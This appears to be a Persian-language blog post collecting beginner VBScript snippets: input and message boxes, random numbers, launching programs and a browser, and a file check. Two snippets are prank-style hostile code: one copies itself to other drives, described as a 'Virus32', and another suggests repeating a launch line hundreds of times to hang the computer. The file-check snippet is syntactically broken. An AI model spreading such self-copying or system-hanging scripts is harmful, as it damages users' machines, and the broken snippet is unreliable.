کدهای Vbs

کلکسیون بهترین کدهای vbs

"این کدها ممکن است در برخی از سیستم ها اجرا نشوند"

1ــ ایجاد جعبه ورودی INPUT برای وارد کردن یک رشته متن

کد:

variable=inputbox ("Esm khod ra vared konid. ","3eke","")

2ــ کد نمایش پیام اخطار

کد:

MsgBox "Ekhtar 1", 64 , "3eke.ir" 

3ــ کد کپی شدن خود فایل

کد:

set fso = CreateObject("Scripting.filesystemobject")
fso.copyfile wscript.scriptfullname,"d:\3eke.ir.vbs

"

کدبالا با فرمت vbs و نام Virus32 ذخیره شده است که در درایو d کپی خواهد شد. با کپی کردن خط دوم میتوان تعداد درایوهایی که در آن باید کپی شود را افزایش داد.



4ــ کد زیر را با فرمت vbs ذخیره کنید

کد:

Set shell=CreateObject("wscript.shell")
Shell.Run("Notepad.exe")

کد بالا برنامه notpad را اجرا میکند که شما میتوانید برنامه دیگری جایگزین کنید و یا میتوان از خط دوم آن صد ها بار کپی کرد تا در صورت اجرا سیستم هنگ کرده و .... 


5ــ کد زیر اینترنت اکس پلورر را اجرا کرده صفحه مورد نظر را نمایش میدهد

کد:

set regdefteri = createobject("wscript.shell")

regdefteri.run "explorer.exe http://my.3eke.ir"

6ــ تولید اعداد تصادفی

کد:

Randomize
msgbox Int(Rnd*32)

اعداد بین صفر تا 32


7ــ جستوجوی فایل در یک پوشه

کد:

set fso = CreateObject("Scripting.filesystemobject")
if fso.fileexists("D:\my.3eke\Eminem.mp3") then
end if
msgbox "File mojud ast"
else
msgbox "Yaft nashod"